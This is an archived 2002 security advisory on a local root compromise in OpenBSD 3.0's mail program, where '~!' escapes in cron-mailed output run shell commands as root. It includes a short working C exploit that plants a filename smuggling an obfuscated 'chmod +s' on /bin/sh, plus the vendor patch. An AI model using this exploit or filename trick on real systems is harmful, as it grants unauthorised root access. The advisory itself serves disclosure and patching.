26th Sep 2002 [SBWID-5260]
COMMAND
Mail local root compromise
SYSTEMS AFFECTED
OpenBSD 3.0
PROBLEM
In Milos Urbanek ZOOM International (c) [http://www.zoom-int.cz/]
Security Advisory :
Program /usr/bin/mail allows a special escape sequence to be specified
in the body of an email; this escape sequence specifies a shell comand
to be executed
~!command
executes the indicated shell command, then return to the message.
Problem: default root crontab entry looks like:
# do daily/weekly/monthly maintenance
# on monday only (techie)
30 1 * * 1 /bin/sh /etc/daily 2>&1 | tee /var/log/d
aily.out | mail -s "`/bin/hostname` daily output" root
30 3 * * 6 /bin/sh /etc/weekly 2>&1 | tee /var/log/
weekly.out | mail -s "`/bin/hostname` weekly output" root
30 5 1 * * /bin/sh /etc/monthly 2>&1 | tee /var/log/monthly.out | mail -s "`/bin/hostname` monthly output" root
If there is something in files /etc/daily, /etc/weekly or /etc/monthly
which could enable the attacker to insert its own input, like a
malformed filename
chiba:5$ touch \~!haha
chiba:6$ ls -al *haha*
-rw-r--r-- 1 milos milos 0 Apr 8 19:30 ~!haha
or by other means like output from log files under /var/log,
the attacker can execute arbitrary comand running under root privileges
which can lead to the root compromise.
Exploit:
/*
* (c) 2002 [email protected]
*
* OpenBSD 3.0 (before 08 Apr 2002)
* /etc/security + /usr/bin/mail local root exploit
*
* Run the exploit and wait for /etc/daily executed from crontab.
* /bin/sh will be suid root next day morning.
*
* Credit goes to [email protected] for discovering vulnerability.
*
*/
#include <fcntl.h>
int main(void)
{
int fd;
chdir("/tmp");
fd = open("\n~!chmod +s `perl -e 'print \"\\057\\142\\151\\156\\057\\163\\150\"'`\n", O_CREAT|O_WRONLY, 04777);
if (fd)
close(fd);
}
SOLUTION
Mail Patch
Index: collect.c
===================================================================
RCS file: /cvs/src/usr.bin/mail/collect.c,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -r1.23 -r1.24
--- collect.c 2001/11/21 15:26:39 1.23
+++ collect.c 2002/04/08 20:27:17 1.24
@@ -1,4 +1,4 @@
-/* $OpenBSD: collect.c,v 1.23 2001/11/21 15:26:39 millert Exp $ */
+/* $OpenBSD: collect.c,v 1.24 2002/04/08 20:27:17 millert Exp $ */
/* $NetBSD: collect.c,v 1.9 1997/07/09 05:25:45 mikel Exp $ */
/*
@@ -38,7 +38,7 @@
#if 0
static const char sccsid[] = "@(#)collect.c 8.2 (Berkeley) 4/19/94";
#else
-static const char rcsid[] = "$OpenBSD: collect.c,v 1.23 2001/11/21 15:26:39 millert Exp $";
+static const char rcsid[] = "$OpenBSD: collect.c,v 1.24 2002/04/08 20:27:17 millert Exp $";
#endif
#endif /* not lint */
@@ -161,7 +161,8 @@
value("interactive") != NULL && !lastlong &&
(value("dot") != NULL || value("ignoreeof") != NULL))
break;
- if (linebuf[0] != escape || lastlong) {
+ if (linebuf[0] != escape || value("interactive") == NULL ||
+ lastlong) {
if (putline(collf, linebuf, !longline) < 0)
goto err;
continue;